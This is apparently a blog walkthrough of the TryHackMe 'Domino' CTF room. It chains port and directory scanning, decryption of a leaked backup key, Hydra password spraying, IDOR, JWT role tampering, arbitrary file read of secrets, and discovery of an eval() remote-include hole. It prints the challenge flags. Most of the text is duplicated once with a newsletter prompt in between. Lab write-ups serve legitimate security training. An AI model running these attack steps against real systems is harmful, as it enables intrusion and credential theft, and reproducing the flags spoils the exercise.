TryHackMe | Domino
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
Task 1 | Challenge
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.
Answer the questions below
Q. What is the flag found in the admin user's profile notes?
Ans.
Q. What is the flag displayed on the admin panel after gaining admin access?
Ans.
Q. What is the flag obtained after achieving remote code execution on the server? Flag is stored in /opt/flag3.txt
Ans.
Q. What is the flag found in the devops user's home directory?
Ans.
Q. What is the root flag?
Ans.
Walkthrough
Let's begin with a full port scan against the target.
root@ip-10-49-123-248:~# nmap -p- -sT 10.49.182.132
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpOnly SSH and HTTP are exposed, so the web application becomes our primary attack surface.
Initial Enumeration
Browsing to the application reveals the NexusCorp Employee Portal login page.
HTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)
<title>NexusCorp Portal</title>
<form method="POST" action="/index.php">
<input type="text" name="username">
<input type="password" name="password">
</form>
<a href="/forgot.php">Forgot password?</a>
<a href="/team.php">Our Team</a>The application immediately exposes two interesting endpoints:
/team.php/forgot.php
Team Directory
Visiting the Team page reveals a list of employee names.
These names will later become valid usernames for credential attacks.
Password Reset Functionality
Testing the forgot password feature with a known employee:
POST /forgot.php
username=laura.hayesResponse:
Password reset instructions have been sent to la****@nexus.corpNo immediate vulnerability is visible, but we now know:
laura.hayesis a valid username.
Static File Discovery
While inspecting /static/, we discover a JavaScript file:
/static/app.jsContents:
const CONFIG = {
apiBase: '/api',
// Encryption key for backup config decryption
// Key: N3xusK3y2024!!
_backupKey: 'N3xusK3y2024!!',
appVersion: '2.3.1'
};This leaks two important pieces of information:
- Hidden API endpoint
/api- AES decryption key
N3xusK3y2024!!API Enumeration
Let's enumerate the newly discovered API.
ffuf -u <http://10.49.182.132/api/FUZZ> \
-w /usr/share/wordlists/dirb/common.txtResults:
auth [Status: 301]
users [Status: 301]Directory listing reveals:
/api/users/profile.php
/api/auth/token.phpHowever, both endpoints require authentication.
Further Content Discovery
Running another FFUF scan against the web root:
ffuf -u <http://10.49.182.132/FUZZ> \
-w directory-list-2.3-medium.txt \
-e .php,.html,.txt,.zip,.js,.bak,.encInteresting results:
backup
admin
config.php
auth.php
reset.phpBackup Disclosure
Visiting:
/backupreveals:
README.txt
config.encThe README provides an important clue:
NexusCorp Backup Configuration
config.enc - Encrypted application configuration
Decryption key reference: see static/app.jsExactly what we needed.
Decrypting config.enc
Using the AES key leaked in app.js:
openssl enc -d -aes-128-ecb \
-K 4e337875734b337932303234212100 \
-in config.encOutput:
{
"app_name":"NexusCorp Portal",
"version":"2.3.1",
"deploy_env":"production",
"system_user":"devops"
}The interesting value is:
"system_user":"devops"Remember this username. It becomes important later.
Credential Attack
At this point we have:
- Multiple usernames from Team page
- A login form
Let's try password spraying using Hydra.
hydra -L usernames.txt \
-P xato-net-10-million-passwords-10000.txt \
10.49.182.132 \
http-post-form \
'/index.php:username=^USER^&password=^PASS^:Invalid credentials.'Results:
sarah.johnson password: password
robert.wilson password: password
emma.taylor password: passwordWe successfully obtain valid credentials.
User Access
Login:
emma.taylor:passwordDashboard:
Welcome, emma.taylor
Role: user
Endpoint:
/api/files.php?name=The dashboard also reveals:
/api/users/profile.php?id=5This immediately looks like an IDOR candidate.
Flag 1 — IDOR
Request:
GET /api/users/profile.php?id=5Response:
{
"id":5,
"username":"emma.taylor",
"role":"user"
}Changing the ID:
GET /api/users/profile.php?id=1Response:
{
"id":1,
"username":"laura.hayes",
"role":"admin",
"notes":"THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}"
}🚩 Flag 1
THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}JWT Abuse
The dashboard references:
/api/auth/token.phpFetching a token:
{
"token":"<JWT>",
"expires_in":3600
}Trying to access:
GET /api/files.php
Authorization: Bearer <JWT>Results in:
{
"error":"Admin JWT required"
}JWT Tampering
Decoding the token:
{
"sub":"emma.taylor",
"role":"user"
}Modify:
{
"sub":"emma.taylor",
"role":"admin"
}using jwt_tool.
sh1v4ng@Shivangs-MacBook-Air jwt_tool % python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzgyMDc4MDE1LCJleHAiOjE3ODIwODE2MTV9.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ -d ../../ctf/SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords.txt --tamper
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/Users/sh1v4ng/.jwt_tool/jwtconf.ini
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] sub = "emma.taylor"
[2] role = "user"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 2
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = "emma.taylor"
[2] role = "admin"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_2ec3e730730415a97dbe5d573a47cf96 - Tampered token:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MjA3ODAxNSwiZXhwIjoxNzgyMDgxNjE1fQ.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ
sh1v4ng@Shivangs-MacBook-Air jwt_tool %Modified payload:
{
"sub":"emma.taylor",
"role":"admin"
}Why It Works
Reading source code through the file API later reveals:
function verify_jwt($token) {
// Signature check intentionally disabled
return $payload;
}No signature validation.
Any JWT can be modified.
Local File Read
After JWT tampering:
GET /api/files.php
Authorization: Bearer <admin-token>Response:
{
"error":"Missing name parameter",
"usage":"/api/files.php?name=/var/www/html/file.txt"
}This becomes an arbitrary file read vulnerability.
Reading Configuration Files
Request:
GET /api/files.php?name=/var/www/html/config.phpResponse:
define('DB_USER', 'app_user');
define('DB_PASS', 'D3v0ps!2024');
define('JWT_SECRET',
'nexus_jwt_s3cr3t_2024');
define('APP_SECRET',
'nexus_app_k3y_2024');Interesting credentials recovered:
DB_PASS = D3v0ps!2024Flag 2 — Admin Panel Access
Reading:
/var/www/html/admin/index.phpreveals:
$flag2 = 'THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}';We can also directly browse:
/adminusing our forged admin JWT.
The page displays:
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}🚩 Flag 2
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}Discovering Remote Code Execution
Reading:
/var/www/html/api/files.phpreveals a dangerous block:
if (strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0) {
$remote = file_get_contents($name);
eval(
str_replace("<?php","",$remote)
);
}TryHackMe | Domino
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
Get Shivang Tiwari’s stories in your inbox
Join Medium for free to get updates from this writer.
Task 1 | Challenge
Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.
The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.
Answer the questions below
Q. What is the flag found in the admin user's profile notes?
Ans.
Q. What is the flag displayed on the admin panel after gaining admin access?
Ans.
Q. What is the flag obtained after achieving remote code execution on the server? Flag is stored in /opt/flag3.txt
Ans.
Q. What is the flag found in the devops user's home directory?
Ans.
Q. What is the root flag?
Ans.
Walkthrough
Let's begin with a full port scan against the target.
root@ip-10-49-123-248:~# nmap -p- -sT 10.49.182.132
PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpOnly SSH and HTTP are exposed, so the web application becomes our primary attack surface.
Initial Enumeration
Browsing to the application reveals the NexusCorp Employee Portal login page.
HTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)
<title>NexusCorp Portal</title>
<form method="POST" action="/index.php">
<input type="text" name="username">
<input type="password" name="password">
</form>
<a href="/forgot.php">Forgot password?</a>
<a href="/team.php">Our Team</a>The application immediately exposes two interesting endpoints:
/team.php/forgot.php
Team Directory
Visiting the Team page reveals a list of employee names.
These names will later become valid usernames for credential attacks.
Password Reset Functionality
Testing the forgot password feature with a known employee:
POST /forgot.php
username=laura.hayesResponse:
Password reset instructions have been sent to la****@nexus.corpNo immediate vulnerability is visible, but we now know:
laura.hayesis a valid username.
Static File Discovery
While inspecting /static/, we discover a JavaScript file:
/static/app.jsContents:
const CONFIG = {
apiBase: '/api',
// Encryption key for backup config decryption
// Key: N3xusK3y2024!!
_backupKey: 'N3xusK3y2024!!',
appVersion: '2.3.1'
};This leaks two important pieces of information:
- Hidden API endpoint
/api- AES decryption key
N3xusK3y2024!!API Enumeration
Let's enumerate the newly discovered API.
ffuf -u <http://10.49.182.132/api/FUZZ> \
-w /usr/share/wordlists/dirb/common.txtResults:
auth [Status: 301]
users [Status: 301]Directory listing reveals:
/api/users/profile.php
/api/auth/token.phpHowever, both endpoints require authentication.
Further Content Discovery
Running another FFUF scan against the web root:
ffuf -u <http://10.49.182.132/FUZZ> \
-w directory-list-2.3-medium.txt \
-e .php,.html,.txt,.zip,.js,.bak,.encInteresting results:
backup
admin
config.php
auth.php
reset.phpBackup Disclosure
Visiting:
/backupreveals:
README.txt
config.encThe README provides an important clue:
NexusCorp Backup Configuration
config.enc - Encrypted application configuration
Decryption key reference: see static/app.jsExactly what we needed.
Decrypting config.enc
Using the AES key leaked in app.js:
openssl enc -d -aes-128-ecb \
-K 4e337875734b337932303234212100 \
-in config.encOutput:
{
"app_name":"NexusCorp Portal",
"version":"2.3.1",
"deploy_env":"production",
"system_user":"devops"
}The interesting value is:
"system_user":"devops"Remember this username. It becomes important later.
Credential Attack
At this point we have:
- Multiple usernames from Team page
- A login form
Let's try password spraying using Hydra.
hydra -L usernames.txt \
-P xato-net-10-million-passwords-10000.txt \
10.49.182.132 \
http-post-form \
'/index.php:username=^USER^&password=^PASS^:Invalid credentials.'Results:
sarah.johnson password: password
robert.wilson password: password
emma.taylor password: passwordWe successfully obtain valid credentials.
User Access
Login:
emma.taylor:passwordDashboard:
Welcome, emma.taylor
Role: user
Endpoint:
/api/files.php?name=The dashboard also reveals:
/api/users/profile.php?id=5This immediately looks like an IDOR candidate.
Flag 1 — IDOR
Request:
GET /api/users/profile.php?id=5Response:
{
"id":5,
"username":"emma.taylor",
"role":"user"
}Changing the ID:
GET /api/users/profile.php?id=1Response:
{
"id":1,
"username":"laura.hayes",
"role":"admin",
"notes":"THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}"
}🚩 Flag 1
THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}JWT Abuse
The dashboard references:
/api/auth/token.phpFetching a token:
{
"token":"<JWT>",
"expires_in":3600
}Trying to access:
GET /api/files.php
Authorization: Bearer <JWT>Results in:
{
"error":"Admin JWT required"
}JWT Tampering
Decoding the token:
{
"sub":"emma.taylor",
"role":"user"
}Modify:
{
"sub":"emma.taylor",
"role":"admin"
}using jwt_tool.
sh1v4ng@Shivangs-MacBook-Air jwt_tool % python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzgyMDc4MDE1LCJleHAiOjE3ODIwODE2MTV9.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ -d ../../ctf/SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords.txt --tamper
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi
/Users/sh1v4ng/.jwt_tool/jwtconf.ini
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] sub = "emma.taylor"
[2] role = "user"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 2
Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = "emma.taylor"
[2] role = "admin"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_2ec3e730730415a97dbe5d573a47cf96 - Tampered token:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MjA3ODAxNSwiZXhwIjoxNzgyMDgxNjE1fQ.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ
sh1v4ng@Shivangs-MacBook-Air jwt_tool %Modified payload:
{
"sub":"emma.taylor",
"role":"admin"
}Why It Works
Reading source code through the file API later reveals:
function verify_jwt($token) {
// Signature check intentionally disabled
return $payload;
}No signature validation.
Any JWT can be modified.
Local File Read
After JWT tampering:
GET /api/files.php
Authorization: Bearer <admin-token>Response:
{
"error":"Missing name parameter",
"usage":"/api/files.php?name=/var/www/html/file.txt"
}This becomes an arbitrary file read vulnerability.
Reading Configuration Files
Request:
GET /api/files.php?name=/var/www/html/config.phpResponse:
define('DB_USER', 'app_user');
define('DB_PASS', 'D3v0ps!2024');
define('JWT_SECRET',
'nexus_jwt_s3cr3t_2024');
define('APP_SECRET',
'nexus_app_k3y_2024');Interesting credentials recovered:
Interesting credentials recovered:
DB_PASS = D3v0ps!2024Flag 2 — Admin Panel Access
Reading:
/var/www/html/admin/index.phpreveals:
$flag2 = 'THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}';We can also directly browse:
/adminusing our forged admin JWT.
The page displays:
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}🚩 Flag 2
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}Discovering Remote Code Execution
Reading:
/var/www/html/api/files.phpreveals a dangerous block:
if (strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0) {
$remote = file_get_contents($name);
eval(
str_replace("<?php","",$remote)
);
}This is a full RCE vulnerability.
The application:
- Downloads attacker-controlled PHP
- Removes
<?php - Executes the content with
eval()









